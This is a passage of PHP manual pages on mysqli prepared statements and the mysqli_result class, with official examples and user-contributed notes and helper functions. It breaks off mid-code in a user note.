stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

param_nr

Indicates which parameter to associate the data with. Parameters are numbered beginning with 0.

data

A string containing data to be sent.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$stmt = $mysqli->prepare("INSERT INTO messages (message) VALUES (?)");
$null = NULL;
$stmt->bind_param("b", $null);
$fp = fopen("messages.txt", "r");
while (!feof($fp)) {
    $stmt->send_long_data(0, fread($fp, 8192));
}
fclose($fp);
$stmt->execute();
?>

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

Gustavo Narea 17-May-2006 04:00
Just in case:

'max_allowed_packet' is a MySQL variable; it is not a PHP function/variable/constant.

Further info: http://dev.mysql.com/doc/refman/4.1/en/packet-too-large.html

HTH.
lussnig at smcc dot de 26-Oct-2005 04:31
send_long_data() these function is normaly used to store Data in Binary blob field. But if the table is UTF8 and connection charset it does not expect binary data (for example images) it take utf8 Data.
This mean you have to do utf8_encode bevore sending binary data.


Returns SQLSTATE error from previous statement operation

  • « mysqli_stmt::send_long_data
  • mysqli_stmt::store_result »
  • PHP Manual
  • mysqli_stmt
  • Returns SQLSTATE error from previous statement operation

mysqli_stmt::$sqlstate

mysqli_stmt_sqlstate

(PHP 5)

mysqli_stmt::$sqlstate -- mysqli_stmt_sqlstate — Returns SQLSTATE error from previous statement operation

Description

Object oriented style

string $mysqli_stmt->sqlstate;

Procedural style

string mysqli_stmt_sqlstate ( mysqli_stmt $stmt )

Returns a string containing the SQLSTATE error code for the most recently invoked prepared statement function that can succeed or fail. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC. For a list of possible values, see » http://dev.mysql.com/doc/mysql/en/error-handling.html.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

Notes

Note:

Note that not all MySQL errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* drop table */
    $mysqli->query("DROP TABLE myCountry");

    /* execute query */
    $stmt->execute();

    printf("Error: %s.\n", $stmt->sqlstate);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* drop table */
    mysqli_query($link, "DROP TABLE myCountry");

    /* execute query */
    mysqli_stmt_execute($stmt);

    printf("Error: %s.\n", mysqli_stmt_sqlstate($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Error: 42S02.

See Also

  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error

User Contributed Notes

There are no user contributed notes for this page.


Transfers a result set from a prepared statement

  • « mysqli_stmt::$sqlstate
  • mysqli_result »
  • PHP Manual
  • mysqli_stmt
  • Transfers a result set from a prepared statement

mysqli_stmt::store_result

mysqli_stmt_store_result

(PHP 5)

mysqli_stmt::store_result -- mysqli_stmt_store_result — Transfers a result set from a prepared statement

Description

Object oriented style

bool mysqli_stmt::store_result ( void )

Procedural style

bool mysqli_stmt_store_result ( mysqli_stmt $stmt )

You must call mysqli_stmt_store_result() for every query that successfully produces a result set (SELECT, SHOW, DESCRIBE, EXPLAIN), if and only if you want to buffer the complete result set by the client, so that the subsequent mysqli_stmt_fetch() call returns buffered data.

Note:

It is unnecessary to call mysqli_stmt_store_result() for other queries, but if you do, it will not harm or cause any notable performance in all cases. You can detect whether the query produced a result set by checking if mysqli_stmt_result_metadata() returns NULL.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = $mysqli->prepare($query)) {

    /* execute query */
    $stmt->execute();

    /* store result */
    $stmt->store_result();

    printf("Number of rows: %d.\n", $stmt->num_rows);

    /* free result */
    $stmt->free_result();

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = mysqli_prepare($link, $query)) {

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* store result */
    mysqli_stmt_store_result($stmt);

    printf("Number of rows: %d.\n", mysqli_stmt_num_rows($stmt));

    /* free result */
    mysqli_stmt_free_result($stmt);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Number of rows: 20.

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_result_metadata() - Returns result set metadata from a prepared statement
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables

User Contributed Notes

Lars Gyrup Brink Nielsen 09-Oct-2013 07:10
Actually, mysqli_stmt_result_metadata() returns FALSE, not NULL, when the query/statement doesn't produce a result set. You would have to check the if the $mysqliObject->error is an empty string to see whether the FALSE return means that the query does not produce a result set or that an error occured.
pcc at pccglobal dot com 31-Jul-2010 01:16
When using prepare to prepare a statement to retrieve LOBs the method order matters.
Also, method 'store_result()' must be called and be called in correct order.
Failure to observe this causes PHP/MySQLi to crash or return an erroneous value.
The proper procedure order is: prepare -> execute -> store_result -> bind -> fetch
The following applies to a Windows SBS server running IIS/6.0 + PHP 5.2.1
MySQL server version 5.0.26-community-nt, client version 5.0.51a

<?php
$database = "test" ;
$table = "test" ;
$column = "flongblob" ;
$mysqli = new mysqli("localhost", "root", "<secret_password>", $database);
// Proper procedure order: prepare -> execute -> store_result -> bind -> fetch
$stmt = $mysqli->prepare("SELECT `$column` FROM `$table`") ;
$stmt->execute();
$stmt->store_result();
// Fetch a record. Bind the result to a variable called 'value' and fetch.
$stmt->bind_result($value) ;
$res = $stmt->fetch() ;
if($res)
{
  // strlen($value) should have LOB length, not 1 or zero.
  echo "$column data length is " . strlen($value) . " bytes.\n" ;
}
else
{
  echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  break ;
}
// Fetch another record.
$res = $stmt->fetch() ;
if($res)
{
  // strlen($value) should have LOB length, not 1 or zero.
  echo "$column data length is " . strlen($value) . " bytes.\n" ;
}
else
{
  echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  break ;
}
$stmt->close() ;
$mysqli->close() ;
exit ;
?>

The above example should output:
  flongblob data length is 932353 bytes.
  flongblob data length is 867300 bytes.

If wrong procedure order MySQLi crashes or outputs:
  flongblob data length is 0 bytes.
  flongblob data length is 867300 bytes.
neromir at hotmail dot com 29-Oct-2008 04:14
The wording above, in the initial description of the function, can be confusing (quoted below).

"You must call mysqli_stmt_store_result() for every query that successfully produces a result set (SELECT, SHOW, DESCRIBE, EXPLAIN), and only if you want to buffer the complete result set by the client, so that the subsequent mysqli_stmt_fetch() call returns buffered data. "

I had initially understood the part saying "and only if you want to buffer..." to mean that it was only necessary to call this function if you wanted to buffer the result set.  This, however, is not the case, and the misunderstanding caused me quite a bit of grief.

So, to clarify for anyone suffering from the same misunderstanding, you ALWAYS must call this function for every query that produces a result set (as listed in the parentheses of the quote above), as far as I can tell.
Typer85 at gmail dot com 28-Dec-2006 12:58
In response to the note below me for the claim that mysqli_fetch_fields is not compatible with prepared statements.

This is untrue, it is but you have to do a little extra work. I would recommend you use a wrapper function of some sort to take care of the dirty business for you but the basic idea is the same.

Let's assume you have a prepared statement like so. I am going to use the procedural way for simplicity but the same idea can be done using the object oriented way:

<?php

// Connect Blah Blah Blah.

$connectionLink = mysqli_connect( .... );

// Query Blab Blah Blah.

$query = "Select `Id` From `Table` Where `Id` = ?";

// Prepare Query.

$prepareObject = mysqli_prepare( $connectionLink , $query );

// Bind Query.

mysqli_stmt_bind_param( $prepareObject , 'i' , 1 );

// Execute Query.

mysqli_stmt_execute( $prepareObject );

?>

Now all the above is fine and dandy to anyone familiar with using prepared statements, but if I want to use mysqli_fetch_fields or any other function that fetches meta information about a result set but does not work on prepared statements?

Enter the special function mysqli_stmt_result_metadata. It can be used as follows, assume the following code segment immediatley follows that of the above code segment.

<?php

$metaData = mysqli_stmt_result_metadata( $prepareObject );

// I Can Now Call mysqli_fetch_fields using the variable
// $metaData as an argument.

$fieldInfo = mysqli_fetch_fields( $metaData );

// Or Even This.

$fieldInfo = mysqli_num_fields( $metaData );

?>

Take a look at the Manual entry for mysqli_stmt_result_metatdata function for full details on how to expose it with prepared statements.

Good Luck,
UCFirefly (at) yahoo.com 20-Feb-2006 09:25
fetch_fields() does not seem to be compatible with prepared statements like those used here. Makes things difficult if you're using a wildcard. I guess that's better for security in some obscure way.

-Alex Boese


The mysqli_result class

(PHP 5)

Introduction

Represents the result set obtained from a query against the database.

Changelog

Changelog
Version | Description
5.4.0 | Iterator support was added, as mysqli_result now implements Traversable.

Class synopsis

mysqli_result implements Traversable {
/* Properties */
int $current_field ;
int $field_count;
array $lengths;
int $num_rows;
/* Methods */
bool data_seek ( int $offset )
mixed fetch_all ([ int $resulttype = MYSQLI_NUM ] )
mixed fetch_array ([ int $resulttype = MYSQLI_BOTH ] )
array fetch_assoc ( void )
object fetch_field_direct ( int $fieldnr )
object fetch_field ( void )
array fetch_fields ( void )
object fetch_object ([ string $class_name = "stdClass" [, array $params ]] )
mixed fetch_row ( void )
bool field_seek ( int $fieldnr )
void free ( void )
}

Table of Contents

  • mysqli_result::$current_field — Get current field offset of a result pointer
  • mysqli_result::data_seek — Adjusts the result pointer to an arbitrary row in the result
  • mysqli_result::fetch_all — Fetches all result rows as an associative array, a numeric array, or both
  • mysqli_result::fetch_array — Fetch a result row as an associative, a numeric array, or both
  • mysqli_result::fetch_assoc — Fetch a result row as an associative array
  • mysqli_result::fetch_field_direct — Fetch meta-data for a single field
  • mysqli_result::fetch_field — Returns the next field in the result set
  • mysqli_result::fetch_fields — Returns an array of objects representing the fields in a result set
  • mysqli_result::fetch_object — Returns the current row of a result set as an object
  • mysqli_result::fetch_row — Get a result row as an enumerated array
  • mysqli_result::$field_count — Get the number of fields in a result
  • mysqli_result::field_seek — Set result pointer to a specified field offset
  • mysqli_result::free — Frees the memory associated with a result
  • mysqli_result::$lengths — Returns the lengths of the columns of the current row in the result set
  • mysqli_result::$num_rows — Gets the number of rows in a result

User Contributed Notes

anonunfinder at gmail dot com 12-May-2014 06:46
<?php
class MySQL
{
    protected $mysql;
    function __construct()
    {
                //Get MySQL config values from config.ini file
        if($config = parse_ini_file("../config.ini"))
        {
            // Obtener los valores del fichero de configuración config.ini
            $ip = $config["ip"];
            $user = $config["usuario"];
            $pass = $config["password"];
            $bd = $config["bd"];

                         //Connection between a database and php
            $this->mysql = new mysqli($ip, $user, $pass, $bd);
        }
    }

    function setResultQuery($query, $param)
    {
        $array = NULL;
        if(!$this->mysql->connect_errno)
        {
            $stmt = $this->setStatement($query, $param);
            try
            {
                if($stmt != NULL)
                {
                    if($stmt->execute())
                    {
                        //Obtener resultados
                        $stmt->store_result();
                        $variables = array();
                        $data = array();
                        $meta = $stmt->result_metadata();
                        while($field = $meta->fetch_field())
                        {
                            $variables[] = &$data[$field->name];
                        }
                        call_user_func_array(array($stmt, 'bind_result'), $variables);
                        $i=0;
                        while($stmt->fetch())
                        {
                                $array[$i] = array();
                                foreach($data as $k=>$v)
                                $array[$i][$k] = $v;
                                $i++;
                        }
                        $stmt->close();
                    }
                }
            }catch(Exception $e){
                $array = FALSE;
            }
        }
        return $array;
    }

    function setStatement($query, $param)
    {
        try
        {
            $stmt = $this->mysql->prepare($query);
            $ref = new ReflectionClass('mysqli_stmt');
            if(count($param) != 0)
            {

                $method = $ref->getMethod('bind_param');
                $method->invokeArgs($stmt, $param);
            }
        }catch(Exception $e){
            if($stmt != null)
            {
                $stmt->close();
            }
        }
        return $stmt;
    }

    function setNoResultQuery($query, $param)
    {
        $validation = FALSE;
        if(!$this->mysql->connect_errno)
        {
            try
            {
                $stmt = $this->setStatement($query, $param);
                if($stmt != null)
                {
                    if($stmt->execute())
                    {
                        $stmt->close();
                        $validacion = TRUE;
                    }
                }
            }catch(Exception $e){
                $validation = FALSE;
            }
        }
        return $validation;
    }

    function __destruct()
    {
        $this->mysql->close();
    }
}
?>
Marc17 27-Jan-2014 01:50
An "mysqli_result" function where $field can be like table_name.field_name with alias or not.
<?php
function mysqli_result($result,$row,$field=0) {
    if ($result===false) return false;
    if ($row>=mysqli_num_rows($result)) return false;
    if (is_string($field) && !(strpos($field,".")===false)) {
        $t_field=explode(".",$field);
        $field=-1;
        $t_fields=mysqli_fetch_fields($result);
        for ($id=0;$id<mysqli_num_fields($result);$id++) {
            if ($t_fields[$id]->table==$t_field[0] && $t_fields[$id]->name==$t_field[1]) {
                $field=$id;
                break;
            }
        }
        if ($field==-1) return false;
    }
    mysqli_data_seek($result,$row);
    $line=mysqli_fetch_array($result);
    return isset($line[$field])?$line[$field]:false;
}
?>
tuxedobob 21-Aug-2012 06:35
Converting an old project from using the mysql extension to the mysqli extension, I found the most annoying change to be the lack of a corresponding mysql_result function in mysqli. While mysql_result is a generally terrible function, it was useful for fetching a single result field *value* from a result set (for example, if looking up a user's ID).

The behavior of mysql_result is approximated here, though you may want to name it something other than mysqli_result so as to avoid thinking it's an actual, built-in function.

<?php
function mysqli_result($res, $row, $field=0) {
    $res->data_seek($row);
    $datarow = $res->fetch_array();
    return $datarow[$field];
}
?>

Implementing it via the OO interface is left as an exercise to the reader.
sinisaculic at gmail dot com 21-Oct-2010 10:58
storing this object in ANY kind will result in storing an empty object... if you try to serialize it dump it or do anything with it you will end up with a empty object.

you have to pull all data out f the object and then store the data... no other way.
Anonymous 19-Apr-2010 08:39
Generally, it appears Mysqli OO vs Procedural style has no significant difference in speed, at least with the more generally used functions and methods (connect, close, query, free, etc).

With the fetch_* family of functions and methods dealing with result rows, however, Procedural wins out.  Averaging over a hundred or so tests with a result set of 180,000 records, and using mysqli_fetch_*() functions vs. their mysqli_result::fetch_*() counterpart object methods to read and iterate over all records, all of the mysqli_fetch_*() functions win by ~0.1 seconds less.

This is interesting considering we're dealing with the same result object in both styles.

This was using Vistax64, PHP5.3.2, Mysql 5.1.45, using a bit of this code:

<?php

// procedural - takes 0.1 seconds less than OO here
$stopwatch = microtime(true);
while($row = mysqli_fetch_assoc($result)){
    ++$z;
    }
echo microtime(true) - $stopwatch;

// OO
$stopwatch = microtime(true);
while($row = $result->fetch_assoc()){
    ++$z;
    }
echo microtime(true) - $stopwatch;

?>
blar at blar dot de 08-Jan-2009 11:47
Extending the MySQLi_Result

<?php

class Database_MySQLi extends MySQLi
{
    public function query($query)
    {
        $this->real_query($query);
        return new Database_MySQLi_Result($this);
    }
}

class Database_MySQLi_Result extends MySQLi_Result
{
    public function fetch()
    {
        return $this->fetch_assoc();
    }

    public function fetchAll()
    {
        $rows = array();
        while($row = $this->fetch())
        {
            $rows[] = $row;
        }
        return $rows;
    }
}

?>


Get current field offset of a result pointer

  • « mysqli_result
  • mysqli_result::data_seek »
  • PHP Manual
  • mysqli_result
  • Get current field offset of a result pointer

mysqli_result::$current_field

mysqli_field_tell

(PHP 5)

mysqli_result::$current_field -- mysqli_field_tell — Get current field offset of a result pointer

Description

Object oriented style

int $mysqli_result->current_field ;

Procedural style

int mysqli_field_tell ( mysqli_result $result )

Returns the position of the field cursor used for the last mysqli_fetch_field() call. This value can be used as an argument to mysqli_field_seek().

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

Returns current offset of field cursor.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for all columns */
    while ($finfo = $result->fetch_field()) {

        /* get fieldpointer offset */
        $currentfield = $result->current_field;

        printf("Column %d:\n", $currentfield);
        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for all fields */
    while ($finfo = mysqli_fetch_field($result)) {

        /* get fieldpointer offset */
        $currentfield = mysqli_field_tell($result);

        printf("Column %d:\n", $currentfield);
        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Column 1:
Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Column 2:
Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

See Also

  • mysqli_fetch_field() - Returns the next field in the result set
  • mysqli_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the result pointer to an arbitrary row in the result

  • « mysqli_result::$current_field
  • mysqli_result::fetch_all »
  • PHP Manual
  • mysqli_result
  • Adjusts the result pointer to an arbitrary row in the result

mysqli_result::data_seek

mysqli_data_seek

(PHP 5)

mysqli_result::data_seek -- mysqli_data_seek — Adjusts the result pointer to an arbitrary row in the result

Description

Object oriented style

bool mysqli_result::data_seek ( int $offset )

Procedural style

bool mysqli_data_seek ( mysqli_result $result , int $offset )

The mysqli_data_seek() function seeks to an arbitrary result pointer specified by the offset in the result set.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

offset

The field offset. Must be between zero and the total number of rows minus one (0..mysqli_num_rows() - 1).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function can only be used with buffered results attained from the use of the mysqli_store_result() or mysqli_query() functions.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($result = $mysqli->query( $query)) {

    /* seek to row no. 400 */
    $result->data_seek(399);

    /* fetch row */
    $row = $result->fetch_row();

    printf ("City: %s  Countrycode: %s\n", $row[0], $row[1]);

    /* free result set*/
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";

if ($result = mysqli_query($link, $query)) {

    /* seek to row no. 400 */
    mysqli_data_seek($result, 399);

    /* fetch row */
    $row = mysqli_fetch_row($result);

    printf ("City: %s  Countrycode: %s\n", $row[0], $row[1]);

    /* free result set*/
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

City: Benin City  Countrycode: NGA

See Also

  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_fetch_row() - Get a result row as an enumerated array
  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_fetch_assoc() - Fetch a result row as an associative array
  • mysqli_fetch_object() - Returns the current row of a result set as an object
  • mysqli_query() - Performs a query on the database
  • mysqli_num_rows() - Gets the number of rows in a result

User Contributed Notes

kaisellgren at gmail dot com 09-Sep-2008 09:07
This is useful function when you try to loop through the resultset numerous times.

For example:

<?php

$result = mysqli_query($connection_id,$query);

while ($row = mysqli_fetch_assoc($result))
 {
  // Looping through the resultset.
 }

// Now if you need to loop through it again, you would first call the seek function:
mysqli_data_seek($result,0);

while ($row = mysqli_fetch_assoc($result))
 {
  // Looping through the resultset again.
 }

?>


Fetches all result rows as an associative array, a numeric array, or both

  • « mysqli_result::data_seek
  • mysqli_result::fetch_array »
  • PHP Manual
  • mysqli_result
  • Fetches all result rows as an associative array, a numeric array, or both

mysqli_result::fetch_all

mysqli_fetch_all

(PHP 5 >= 5.3.0)

mysqli_result::fetch_all -- mysqli_fetch_all — Fetches all result rows as an associative array, a numeric array, or both

Description

Object oriented style

mixed mysqli_result::fetch_all ([ int $resulttype = MYSQLI_NUM ] )

Procedural style

mixed mysqli_fetch_all ( mysqli_result $result [, int $resulttype = MYSQLI_NUM ] )

mysqli_fetch_all() fetches all result rows and returns the result set as an associative array, a numeric array, or both.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

resulttype

This optional parameter is a constant indicating what type of array should be produced from the current row data. The possible values for this parameter are the constants MYSQLI_ASSOC, MYSQLI_NUM, or MYSQLI_BOTH.

Return Values

Returns an array of associative or numeric arrays holding result rows.

MySQL Native Driver Only

Available only with mysqlnd.

As mysqli_fetch_all() returns all the rows as an array in a single step, it may consume more memory than some similar functions such as mysqli_fetch_array(), which only returns one row at a time from the result set. Further, if you need to iterate over the result set, you will need a looping construct that will further impact performance. For these reasons mysqli_fetch_all() should only be used in those situations where the fetched result set will be sent to another layer for processing.

See Also

  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_query() - Performs a query on the database

User Contributed Notes

m dot amiot at otak-arts dot com 20-Mar-2012 07:27
If you really need this function, you can just extend the mysqli_result class with a function like this one.

<?php
        public function fetch_all($resulttype = MYSQLI_NUM)
        {
            if (method_exists('mysqli_result', 'fetch_all')) # Compatibility layer with PHP < 5.3
                $res = parent::fetch_all($resulttype);
            else
                for ($res = array(); $tmp = $this->fetch_array($resulttype);) $res[] = $tmp;

            return $res;
        }
?>
windix at gmail dot com 26-Aug-2010 04:01
If you get an empty set after calling fetch_all(), make sure the result set cursor is reset to the beginning
andrey at php dot net 10-Aug-2010 04:38
Return value changed in 5.3.3 - between 5.3.0 and 5.3.2 (incl.) when the result set was empty NULL was returned. 5.3.3+ returns an empty array.
Also, mysqli_fetch_all works only for buffered result sets, which are the default for mysqli_query. MYSQLI_USE_RESULT will be supported in 5.3.4+
However, it makes little sense to use it this way, materialising unbuffered sets. In this case choose STORE_RESULT, and fetch_all won't copy the data, but reference it, as it is stored already in mysqlnd.
kevin at metalaxe dot com 06-Jan-2009 10:18
If you are getting the following error:

Fatal error: Call to undefined method mysqli_result::fetch_all()

Be sure you didn't miss this line after the procedural call about it requiring mysqlnd


Fetch a result row as an associative, a numeric array, or both

  • « mysqli_result::fetch_all
  • mysqli_result::fetch_assoc »
  • PHP Manual
  • mysqli_result
  • Fetch a result row as an associative, a numeric array, or both

mysqli_result::fetch_array

mysqli_fetch_array

(PHP 5)

mysqli_result::fetch_array -- mysqli_fetch_array — Fetch a result row as an associative, a numeric array, or both

Description

Object oriented style

mixed mysqli_result::fetch_array ([ int $resulttype = MYSQLI_BOTH ] )

Procedural style

mixed mysqli_fetch_array ( mysqli_result $result [, int $resulttype = MYSQLI_BOTH ] )

Returns an array that corresponds to the fetched row or NULL if there are no more rows for the resultset represented by the result parameter.

mysqli_fetch_array() is an extended version of the mysqli_fetch_row() function. In addition to storing the data in the numeric indices of the result array, the mysqli_fetch_array() function can also store the data in associative indices, using the field names of the result set as keys.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

If two or more columns of the result have the same field names, the last column will take precedence and overwrite the earlier data. In order to access multiple columns with the same name, the numerically indexed version of the row must be used.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

resulttype

This optional parameter is a constant indicating what type of array should be produced from the current row data. The possible values for this parameter are the constants MYSQLI_ASSOC, MYSQLI_NUM, or MYSQLI_BOTH.

By using the MYSQLI_ASSOC constant this function will behave identically to the mysqli_fetch_assoc(), while MYSQLI_NUM will behave identically to the mysqli_fetch_row() function. The final option MYSQLI_BOTH will create a single array with the attributes of both.

Return Values

Returns an array of strings that corresponds to the fetched row or NULL if there are no more rows in resultset.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if ($mysqli->connect_errno) {
    die("Connect failed: %s\n", $mysqli->connect_error);
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = $mysqli->query($query);

/* numeric array */
$row = $result->fetch_array(MYSQLI_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = $result->fetch_array(MYSQLI_ASSOC);
printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* associative and numeric array */
$row = $result->fetch_array(MYSQLI_BOTH);
printf ("%s (%s)\n", $row[0], $row["CountryCode"]);

/* free result set */
$result->free();

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = mysqli_query($link, $query);

/* numeric array */
$row = mysqli_fetch_array($result, MYSQLI_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* associative and numeric array */
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
printf ("%s (%s)\n", $row[0], $row["CountryCode"]);

/* free result set */
mysqli_free_result($result);

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Kabul (AFG)
Qandahar (AFG)
Herat (AFG)

See Also

  • mysqli_fetch_assoc() - Fetch a result row as an associative array
  • mysqli_fetch_row() - Get a result row as an enumerated array
  • mysqli_fetch_object() - Returns the current row of a result set as an object
  • mysqli_query() - Performs a query on the database
  • mysqli_data_seek() - Adjusts the result pointer to an arbitrary row in the result

User Contributed Notes

Duncan 26-Jan-2013 08:07
Note that the array returned contains only strings.

E.g. when a MySQL field is an INT you may expect the field to be returned as an integer, however all fields are simply returned as strings.

What this means: use double-equals not triple equals when comparing numbers.

<?php
print $array_from_mysqli_fetch_array['id'] == 1 ? "true" : "false"; // true
print $array_from_mysqli_fetch_array['id'] === 1 ? "true" : "false"; // false
?>
ahouston at gmail dot com 31-May-2011 11:39
Here is a function to return an associative array with multiple columns as keys to the array.

This is a rough approximation of the perl DBI->fetchall_hashref function - something I find myself using quite a bit.

Given a simple mySQL table:

mysql> select * from city;
+----------------+----------------+------------------+------------+
| country        | region         | city             | hemisphere |
+----------------+----------------+------------------+------------+
| South Africa   | KwaZulu-Natal  | Durban           | South      |
| South Africa   | Gauteng        | Johannesburg     | South      |
| South Africa   | Gauteng        | Tshwane          | South      |
| South Africa   | KwaZulu-Natal  | Pietermaritzburg | South      |
| United Kingdom | Greater London | City of London   | North      |
| United Kingdom | Greater London | Wimbledon        | North      |
| United Kingdom | Lancashire     | Liverpool        | North      |
| United Kingdom | Lancashire     | Manchester       | North      |
+----------------+----------------+------------------+------------+

*Note* - this is a simple function that makes no attempt to keep multiple values per key, so you need to specify all the unique keys you require.

<?php

        $link = mysqli_connect("localhost", "username", "password", "test");
        $result = mysqli_query($link, "select * from city");
        $results_arr = fetch_all_assoc($result,array('hemisphere','country','region','city'));

function fetch_all_assoc(& $result,$index_keys) {

  // Args :    $result = mysqli result variable (passed as reference to allow a free() at the end
  //           $indexkeys = array of columns to index on
  // Returns : associative array indexed by the keys array

  $assoc = array();             // The array we're going to be returning

  while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {

        $pointer = & $assoc;            // Start the pointer off at the base of the array

        for ($i=0; $i<count($index_keys); $i++) {

                $key_name = $index_keys[$i];
                if (!isset($row[$key_name])) {
                        print "Error: Key $key_name is not present in the results output.\n";
                        return(false);
                }

                $key_val= isset($row[$key_name]) ? $row[$key_name]  : "";

                if (!isset($pointer[$key_val])) {

                        $pointer[$key_val] = "";                // Start a new node
                        $pointer = & $pointer[$key_val];                // Move the pointer on to the new node
                }
                else {
